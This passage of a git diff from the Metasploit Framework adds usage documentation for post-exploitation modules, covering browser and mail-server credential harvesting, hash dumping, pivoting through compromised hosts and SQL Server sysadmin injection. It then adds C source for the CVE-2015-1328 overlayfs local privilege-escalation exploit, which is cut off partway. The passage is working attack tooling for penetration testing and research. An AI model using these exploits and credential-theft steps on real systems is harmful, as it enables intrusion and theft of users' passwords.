'/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt' + [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt' + [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt' + [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt + [*] Post module execution completed + ``` + + **Meterpreter session as system** + + In this case, you should set the MIGRATE setting to true. The module will try to migrate to explorer.exe to decrypt the encrypted data. After the decryption is done, the script will migrate back into the original process. + + ``` + [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200 + + msf exploit(handler) > use post/windows/gather/enum_chrome + msf post(enum_chrome) > set SESSION 1 + SESSION => 1 + msf post(enum_chrome) > set MIGRATE true + MIGRATE => true + msf post(enum_chrome) > run + + [*] current PID is 1100. migrating into explorer.exe, PID=2916... + [*] done. + [*] Running as user 'user-PC\user'... + [*] Extracting data for user 'user'... + [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt' + [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt' + [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt' + [*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt' + [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt' + [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt' + [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt + [*] migrating back into PID=1100... + [*] done. + [*] Post module execution completed + ``` diff --git a/documentation/modules/post/windows/gather/enum_ie.md b/documentation/modules/post/windows/gather/enum_ie.md new file mode 100644 index 0000000000..16d0aa1af2 --- /dev/null +++ b/documentation/modules/post/windows/gather/enum_ie.md @@ -0,0 +1,106 @@ +## Vulnerable Application + + This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get meterpreter session + 3. Do: `use post/windows/gather/enum_ie` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see the extracted IE browser data in the loot files + +## Options + + - **SESSION** - The session to run the module on. + +## Extracted data + + - History + - Cookies + - Autocomplete data + - Credentials **(only for >= IE7)** + - HTTP auth credentials + - Saved form credentials + +## Example Scenario + + **Using the module with an earlier version than IE7 (IE6)** + + In this scenario the module won't be able to extract credential data. + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 6.0.2900.5512 + [-] This module will only extract credentials for >= IE7 + [*] Retrieving history..... + File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Documents and Settings\user\Cookies\index.dat + [*] Looping through history to find autocomplete data.... + [-] No autocomplete entries found in registry + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt + [*] Post module execution completed + ``` + + **Using the module with IE7+ (IE8)** + + In this scenario the module will try to extract credential data, display it in the console and save it in a loot file. + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 8.0.7601.17514 + [*] Retrieving history..... + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat + [*] Looping through history to find autocomplete data.... + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt + [*] Writing gathered credentials to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt + + Credential data + =============== + + Type Url User Pass + ---- --- ---- ---- + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + + [*] Post module execution completed + ``` + + The extracted history data would in both scenarios for example look like this: + + ``` + History data + ============ + + Date Modified Date Accessed Url + ------------- ------------- --- + 2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home + 2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407 + 2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt + 2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome + 2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt + 2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt + ``` diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md new file mode 100644 index 0000000000..7e284e76fa --- /dev/null +++ b/documentation/modules/post/windows/gather/hashdump.md @@ -0,0 +1,46 @@ +The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command. + +Having this feature as a post module allows it to be used in different penetration testing scenarios. + + +## Vulnerable Application + +--- + +To be able to use post/gather/hash_dump, you must meet these requirements: + +* You are on a Meterpreter type session. +* The target is a Windows platform. +* It must be executed under the context of a high privilege account, such as SYSTEM. + +## Verification Steps + +--- + +Please see Overview for usage. + +## Scenarios + +--- + +**Upgrading to Meterpreter** + +To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try: + +1. Use the exploit/multi/script/web_delivery module. +2. Manually generate a Meterpreter executable, upload it, and execute it. + +**High Privilege Account** + +Before using post/gather/hashdump, there is a possibility you need to escalate your privileges. + +There are a few common options to consider: + +* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you + which exploits might be suitable for the remote target. +* The getsystem command in Meterpreter. +* Stolen passwords. + +**Hashdump From Multiple Sessions** + +One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage. diff --git a/documentation/modules/post/windows/gather/make_csv_orgchart.md b/documentation/modules/post/windows/gather/make_csv_orgchart.md new file mode 100644 index 0000000000..bd1882b99a --- /dev/null +++ b/documentation/modules/post/windows/gather/make_csv_orgchart.md @@ -0,0 +1,85 @@ +This module can be used to aid the generation of an organizational chart based on information +contained in Active Directory. The module itself uses ADSI to retrieve key information from AD +(manager, title, description etc) fields and then present it in a CSV file in the form: + +``` +cn,description,title,phone,department,division,e-mail,company,reports_to +``` + +The reports_to field is the only one which is generated; everything else is taken directly from AD. +The 'manager' field contains the DN of the manager assigned to that user, and this module simply +uses a regular expression to obtain the CN field of the manager. + +This can then be imported into tools like [Microsoft Visio](https://products.office.com/en-us/visio/flowchart-software) +(using the organizational chart wizard) and it will construct a visual org chart from the +information there. Although visio supports the ability to generate Org charts if it is on a domain +joined machine, but there does not seem to be a way of doing this remotely (e.g. during a +red teaming exercise). + +This should not be confused with security groups and AD managed groups; this is purely an +internal organizational hierarchy representation but could be very useful for situational awareness +or in order to construct a more plausible or targeted internal phishing exercise. + +# Options + +Option | Value +-------------------| --- +ACTIVE_USERS_ONLY | This will restrict the search for users to those whose accounts are Active. This would have the effect of excluding disabled accounts (e.g. employees who have resigned). +FILTER | Any additional LDAP filtering that is required when searching for users. +WITH_MANAGERS_ONLY | If this is TRUE, the module will only include users who have a manger set (internally, this is implemented by adding (manager=*) to the ADSI query filter). This could be useful if not everyone has a manager set, but could mean that the top executive is not included either. +STORE_LOOT | Store the results in a CSV file in loot. You'll almost certainly want this set to TRUE. + +# Demo + +For the purposes of this contrived example, the module has been configured to generate the CSV +reporting information for everyone with 'IT' somewhere in their common name. + +``` +msf post(make_csv_orgchart) > show options + +Module options (post/windows/gather/make_csv_orgchart): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ACTIVE_USERS_ONLY true yes Only include active users (i.e. not disabled ones) + DOMAIN no The domain to query or distinguished name (e.g. DC=test,DC=com) + FILTER cn=*IT* no Additional LDAP filter to use when searching for users + MAX_SEARCH 500 yes Maximum values to retrieve, 0 for all. + SESSION 2 yes The session to run this module on. + STORE_LOOT true yes Store the organisational chart information in CSV format in loot + WITH_MANAGERS_ONLY false no Only users with managers + +msf post(make_csv_orgchart) > run + +Users & Managers +================ + + cn description title phone department division e-mail company reports_to + -- ----------- ----- ----- ---------- -------- ------ ------- ---------- + IT Manager Deputy GOAT IT Director it.manager@goat.stu IT Director + IT Director Director of Goat IT it.director@goat.stu + IT Leader: Badger Team Leader of Blue Team Operations it.leader.badger@goat.stu IT Manager + IT Leader: Otter Team Leader: Offensive Operations it.leader.otter@goat.stu IT Manager + Oswold Otter (IT Team) Consultant oswold.otter@goat.stu IT Leader: Otter + Bertie Badger (IT Security Team) Default pass is badger123 IT Security Team Deputy bertie.badger@goat.stu IT Leader: Badger + +[*] CSV Organisational Chart Information saved to: /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt +[*] Post module execution completed +``` + +The contents of the CSV file are shown below: + +``` +$ cat /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt +cn,description,title,phone,department,division,e-mail,company,reports_to +"IT Manager","","Deputy GOAT IT Director","","","","it.manager@goat.stu","","IT Director" +"IT Director","","Director of Goat IT","","","","it.director@goat.stu","","" +"IT Leader: Badger","","Team Leader of Blue Team Operations","","","","it.leader.badger@goat.stu","","IT Manager" +"IT Leader: Otter","","Team Leader: Offensive Operations","","","","it.leader.otter@goat.stu","","IT Manager" +"Oswold Otter (IT Team)","","Consultant","","","","oswold.otter@goat.stu","","IT Leader: Otter" +"Bertie Badger (IT Security Team)","Default pass is badger123","IT Security Team Deputy","","","","bertie.badger@goat.stu","","IT Leader: Badger" +``` + +When this was imported into Visio with default options set, it produced the following organisational chart: + +![screenshot_orgchart](https://cloud.githubusercontent.com/assets/12296344/11937572/f5906320-a80c-11e5-8faa-6439872df362.png) diff --git a/documentation/modules/post/windows/gather/mdaemon_cred_collector.md b/documentation/modules/post/windows/gather/mdaemon_cred_collector.md new file mode 100644 index 0000000000..e9f423d735 --- /dev/null +++ b/documentation/modules/post/windows/gather/mdaemon_cred_collector.md @@ -0,0 +1,115 @@ +## Vulnerable Application + +Download and install the email server: [www.altn.com](http://www.altn.com/Downloads/MDaemon-Mail-Server-Free-Trial/) + +You require a valid licence, but there's a demo for 30 days. + +### Verified + +1. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 64 bits. +2. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 32 bits. Worked, but couldn't find the path through Register. +3. VM --> Microsoft Windows 7 on VMWare. + +## Verification Steps + +1. Get a meterpreter on a windows machine that has MDaemon installed. +2. Load the module: `use post/windows/gather/credentials/mdaemon_cred_collector` +3. Set the correct session on the module. + 1. Optional: you can add the remote path of the installation, especially if the software is installed on a strange path and the module can't find it.. +4. Run the module and enjoy the loot. + +## Example Run +**Normal mode** +``` +msf > use post/windows/gather/credentials/mdaemon_cred_collector +msf > set SESSION 1 +msf > exploit +``` + +Output: + +``` +[+] Configuration file found: C:\MDaemon\App\userlist.dat +[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1 +[*] Extracted: MDaemon:p0%AhBxvs4IZ +[*] Extracted: webmaster:Manuel123. +[*] SMTP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.smtp_ser_754168.txt +[*] Extracted: webmaster:Manuel123. +[*] POP3 credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.pop3_ser_608271.txt +[*] Extracted: webmaster:Manuel123. +[*] IMAP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.imap_ser_769125.txt +[*] Post module execution completed +``` + +**Verbose true** +``` +msf > use post/windows/gather/credentials/mdaemon_cred_collector +msf > set SESSION 1 +msf > set verbose true +msf > exploit +``` + +Output: + +``` +[*] Searching MDaemon installation at C: +[*] Found MDaemon installation at C: +[*] Searching MDaemon installation at C: +[*] Found MDaemon installation at C: +[*] Searching MDaemon installation at C:\Program Files +[*] Searching MDaemon installation at C:\Program Files (x86) +[*] Searching MDaemon installation at C:\Program Files +[*] Checking for Userlist in MDaemons directory at: C:\MDaemon\App +[+] Configuration file found: C:\MDaemon\App\userlist.dat +[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1 +[*] Downloading UserList.dat file to tmp file: SFJOXMHZEFWA +[*] Cracking xJiKYdun7OvjVLnM +[*] Password p0%AhBxvs4IZ +[*] Cracking ocnTldjRpaejTg== +[*] Password Manuel123. +[*] Collected the following credentials: +[*] Usernames: 2 +[*] Passwords: 2 +[*] Deleting tmp file: SFJOXMHZEFWA +[*] Extracted: MDaemon:p0%AhBxvs4IZ +[*] Extracted: webmaster:Manuel123. +[*] SMTP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.smtp_ser_114741.txt +[*] Extracted: webmaster:Manuel123. +[*] POP3 credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.pop3_ser_369240.txt +[*] Extracted: webmaster:Manuel123. +[*] IMAP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.imap_ser_028427.txt +[*] Post module execution completed +``` + +## Options + + **RPATH** + The remote path of the MDaemon installation. + If the machine runs on 64bits and the meterpreter is 32 bits, it won't be able to find the installation path in the registry, but it will search some default paths. If it is installed on a non-default path you can give the RPATH and it will work. + +## Scenarios +**Run on all sessions** +If you wish to run the post against all sessions from framework, here is how: + +1. Create the following resource script: +``` +framework.sessions.each_pair do |sid, session| + run_single("use post/windows/gather/credentials/mdaemon_cred_collector") + run_single("set SESSION #{sid}") + run_single("run") +end +``` +2. At the msf prompt, execute the above resource script: +`msf > resource path-to-resource-script` + +**Meterpreter on email server** + +If you have a meterpreter running on a server that has MDaemon installed, run the module and you will get all the users and passwords of the email server. Quite useful for trying password reuse and/or checking the strength of the passwords. + +Note: MDaemon can store the passwords on a database, in that case the module won't work, but you can search for the database location, username and password and still get them :) + + +## References +http://www.securityfocus.com/bid/4686 + +https://github.com/AgoraSecurity/MdaemonCrack diff --git a/documentation/modules/post/windows/manage/autoroute.md b/documentation/modules/post/windows/manage/autoroute.md new file mode 100644 index 0000000000..f9a51b891e --- /dev/null +++ b/documentation/modules/post/windows/manage/autoroute.md @@ -0,0 +1,121 @@ +## Overview + +This module is used to add routes associated with the specified Meterpreter session to Metasploit's routing table. These routes can be used to pivot to private networks and resources that can be accessed by the compromised machine. This module can search for routes and add them automatically. Routes can also be added manually, deleted, or displayed. + +## CMD Options +This module has several command "CMD" options that are used to control the module's behavior. + +### autoadd +This is the default behavior for this module. When this CMD option is used, the module searches the compromised machine's routing table and network interface list looking for networks that the machine can access. Once found, the module automatically adds routes to the networks to Metasploit's routing table. Duplicate routes from new sessions are not added. + +### add +This CMD option is used to manually add routes to Metasploit's routing table. An IPv4 subnet and netmask (IPv4 or CIDR) are required to add routes manually. The session number of the Meterpreter session to run the module on is also required. + +Subnet Example `set SUBNET 192.168.1.0` + +Netmask Examples `set NETMASK 255.255.255.0` or `set NETMASK /24` + +### delete +This CMD option is used to remove a route from Metasploit's routing table. The IPv4 subnet and netmask (IPv4 or CIDR) of the route to be removed are required. The session number of the Meterpreter session to run the module on is also required. Use `route print` or the print CMD option to display the current Metasploit routing table. + +### print +This CMD option is used to display Metasploit's routing table. This option has the same functionality as the `route print` command. + +### default +This CMD option is used to add a default route to Metasploit's routing table that routes all TCP/IP traffic; not otherwise covered in other routes, through the specified session when pivoting. + +**Use this option with caution.** + +This option is useful in special situations. An example would be when the compromised host is using a full traffic VPN where the VPN server does the routing to private networks. In this case, the routing table of the compromised host would likely not have entries for these private networks. Adding a default route would push the routing off to the VPN server, and those networks would likely become accessible. + +Additionally, the default route combined with a Socks proxy server and Proxychains can be used to browse the Internet as the compromised host. Instructions for this are below. + +## Pivoting +Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications. + +### Socks 4a Server Module Setup +Metasploit can launch a Socks 4a Proxy server using the module: auxiliary/server/socks4a. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Below are the steps to initiate this module. + +``` +use auxiliary/server/socks4a +set SRVHOST 127.0.0.1 +set LPORT 1080 +exploit -j +``` + +### Proxychains Setup +First, make sure that you have Proxychains. + +``` +sudo apt-get update +sudo apt-get install proxychains +``` + +Now edit the Proxychains configuration file located at /etc/proxychains.conf. Add the below line to the end of the file to set Proxychains to use the Socks 4a server that you just set up. + +``` +socks4 127.0.0.1 1080 +``` + +Note: If there are other proxy entries in the configuration file, you may need to comment them out as they may interfere with proper routing. + +### Using Proxychains +Now you can combine Proxychains with other application like Nmap, Nessus, Firefox and more to scan or access machines and resources through the Metasploit routes. All you need to do is call proxychains before the needed application. No need to change the proxy settings in Firefox of Iceweasel. + + +``` +$ proxychains firefox +``` + +### Scanning +For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans. + +For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow. + +``` +$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24 +``` + +### Combined With Default Route +Using the default route option along with the Socks proxy and Proxychains, you can browse the internet as the compromised host. This is possible because adding a default route to a Meterpeter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's routing table, to route through that session. This is easy to set up and test. + +You need a Windows Meterpreter session on a host that has a different public IP address than your attacking machine. + +First set up a default route for the Meterpreter session. + +``` +meterpreter > run post/windows/manage/autoroute CMD=default +``` + +or + +``` +msf > use post/windows/manage/autoroute +msf post(autoroute) > set SESSION session-id +msf post(autoroute) > set CMD default +msf post(autoroute) > exploit +``` + +Then open Firefox or Iceweasel without invoking Proxychains. + +``` +$ firefox +``` + +Go to `www.ipchicken.com` + +This displays your current public IP address. The one that is logged when you visit a website. + +Now open Firefox or Iceweasel with Proxychains. + +``` +$ proxychains firefox +``` + +Go to `www.ipchicken.com` + +Now you will see the public IP address of the compromised host. You are essentially using the compromised host as a proxy to browse the Internet. + +**This does not guarantee anonymity! Your browser, and its setting may still give you away.** + + diff --git a/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md b/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md new file mode 100755 index 0000000000..cbf3e8468c --- /dev/null +++ b/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md @@ -0,0 +1,38 @@ +## Overview + +This post-exploitation module enables you to add a sysadmin to local SQL Server instances, use that login to collect and gather data, and remove the login from the system. + +Pre-2008 versions of MSSQL servers automatically granted local sysadmins admin rights. This changed in MSSQL Server 2008, but there are still ways around to get around it, thanks to this module! If you are able to get domain admin privileges, you'll be able to add yourself to the database domain group and access the server with your newly added account. + +## Basic Workflow + + +1. Get a Meterpreter session using a module like psexec. +2. Create a syadmin login on the SQL server. +3. Log into SQL Server with the newly created login. +4. Find and collect data from the server using a module like Microsoft SQL Server Find and Sample Data. +5. Remove the sysadmin login when you are done. + + +## Options + +The following options are required: + +- **DB_PASSWORD** - This option sets the password for the new sysadmin login. +- **DB_USERNAME** - This option sets the name for the new sysadmin login. +- **REMOVE_LOGIN** - This option removes DB_USERNAME from the database. +- **SESSION** - This option sets the session that you want to use to run this module against. + +## Scenarios + +Here's an example of how you can use this module: + +``` +meterpreter > use post/windows/manage/mssql_local_auth_bypass +meterpreter > set DB_USERNAME tacocat +meterpreter > set DB_PASSWORD 12345 +meterpreter > set SESSION 1 +meterpreter > exploit +``` + + \ No newline at end of file diff --git a/documentation/modules/post/windows/manage/powershell/build_net_code.md b/documentation/modules/post/windows/manage/powershell/build_net_code.md new file mode 100644 index 0000000000..6f29adadec --- /dev/null +++ b/documentation/modules/post/windows/manage/powershell/build_net_code.md @@ -0,0 +1,77 @@ +## Example Session + +/tmp/hello.cs contains the following: + +``` +using System; + +public class Hello +{ + public static void Main() + { + Console.WriteLine("Hello, World!"); + } +} +``` + +To build and run the code: + +``` +msf exploit(handler) > use post/windows/manage/powershell/build_net_code +msf post(build_net_code) > set SESSION -1 +SESSION => -1 +msf post(build_net_code) > show options + +Module options (post/windows/manage/powershell/build_net_code): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults + CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use + COMPILER_OPTS /optimize no Options to pass to compiler + OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension + RUN_BINARY false no Execute the generated binary + SESSION -1 yes The session to run this module on. + SOURCE_FILE yes Path to source code + +msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs +SOURCE_FILE => /tmp/hello.cs +msf post(build_net_code) > run + +[*] Building remote code. +[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb +[+] Finished! +[*] Post module execution completed +msf post(build_net_code) > sessions -i -1 +[*] Starting interaction with 1... + +meterpreter > shell +Process 4840 created. +Channel 7 created. +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe +C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe +Hello, World! +``` + +You can also run the code automatically: + +``` +msf exploit(handler) > use post/windows/manage/powershell/build_net_code +msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs +SOURCE_FILE => /tmp/hello.cs +msf post(build_net_code) > set RUN_BINARY true +RUN_BINARY => true +msf post(build_net_code) > set SESSION -1 +SESSION => -1 +msf post(build_net_code) > run + +[*] Building remote code. +[+] File C:\cygwin64\tmp\QuEQSEifJOe.exe found, 3584kb +[+] Hello, World! + +[+] Finished! +[*] Post module execution completed +``` diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md new file mode 100644 index 0000000000..45b73a5e74 --- /dev/null +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -0,0 +1,67 @@ +## Overview +This module evaluates a Windows Meterpreter session's privileges and migrates the session accordingly. The purpose of this module is to enable the scripting of migrations post exploitation, which allows you to immediately run post modules that require system rights. + +You can use this module in situations where incoming sessions may have mixed rights levels and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created. + +The types of migrations that occur are described below: + +- A session with admin rights is migrated to a system owned process. +- A session with user rights is migrated to a user level process. If a specified user level process is not running, the module will spawn it and then migrate the session. + +This module is a nice addition to the beginning of an autorun script for post-Meterpreter session creation. An example of an autorun script is provided below. + +## Module Options +- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights. +- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes. +- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE. + +## Module Process +Here is the process that the module follows: + +- Retrieves the privilege information for the current session. +- If the session has admin rights, it attempts to migrate to a system owned process in the following order: + - ANAME (Module option, if specified) + - services.exe + - winlogon.exe + - wininit.exe + - lsm.exe + - lsass.exe +- If it is unable to migrate to one of these processes, it drops to user level migration. +- If the session has user rights, it attempts to migrate to a user owned process in the following order: + - NAME (Module option, if specified) + - explorer.exe + - notepad.exe +- If it cannot migrate, it attempts to spawn the process and migrates to the newly spawned process. + +## Using This Module with AutoRun Scripts +The use of autorun scripts with this module is an easy way to automate post-exploitation for incoming Meterpreter sessions. The following section describes the basic setup information and provides a script example to show how this module comes in handy. + +### Basic Setup Information +Resource file (.rc) scripts can be used to automate many processes in Metasploit, particularly starting up the console and running scripts once a session is created. + +Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit Framework is loaded. + +``` +./msfconsole -r /home/user/startup.rc +``` + +The following is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation. + +``` +use exploit/multi/handler +set PAYLOAD windows/meterpreter/reverse_https +set LHOST 192.168.1.101 +set LPORT 13002 +set ExitOnSession false +set AutoRunScript multi_console_command -rc /home/user/auto.rc +exploit -j +``` + +### AutoRun Script Example +This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires system rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with user rights, the hash dump modules will fail, but that is unlikely to impact the state of the session. + +``` +run post/windows/manage/priv_migrate +run post/windows/gather/hashdump +run post/windows/gather/cachedump +``` diff --git a/external/source/exploits/CVE-2015-1328/1328.c b/external/source/exploits/CVE-2015-1328/1328.c new file mode 100644 index 0000000000..965900ee17 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/1328.c @@ -0,0 +1,113 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + char *file; + system("rm -rf /tmp/ns_sploit"); + mkdir("/tmp/ns_sploit", 0777); + mkdir("/tmp/ns_sploit/work", 0777); + mkdir("/tmp/ns_sploit/upper",0777); + mkdir("/tmp/ns_sploit/o",0777); + + fprintf(stderr,"mount #1\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { +// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { + fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); + exit(-1); + } + file = ".access"; + chmod("/tmp/ns_sploit/work/work",0777); + } else file = "ns_last_pid"; + + chdir("/tmp/ns_sploit/o"); + rename(file,"ld.so.preload"); + + chdir("/"); + umount("/tmp/ns_sploit/o"); + fprintf(stderr,"mount #2\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { + exit(-1); + } + chmod("/tmp/ns_sploit/work/work",0777); + } + + chmod("/tmp/ns_sploit/o/ld.so.preload",0777); + umount("/tmp/ns_sploit/o"); +} + +int +main(int argc, char **argv) +{ + int status, fd, lib; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + + fprintf(stderr,"spawning threads\n"); + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + fprintf(stderr,"child threads done\n"); + + fd = open("/etc/ld.so.preload",O_WRONLY); + + if(fd == -1) { + fprintf(stderr,"exploit failed\n"); + exit(-1); + } + + fprintf(stderr,"/etc/ld.so.preload created\n"); + /* + fprintf(stderr,"creating shared library\n"); + lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); + 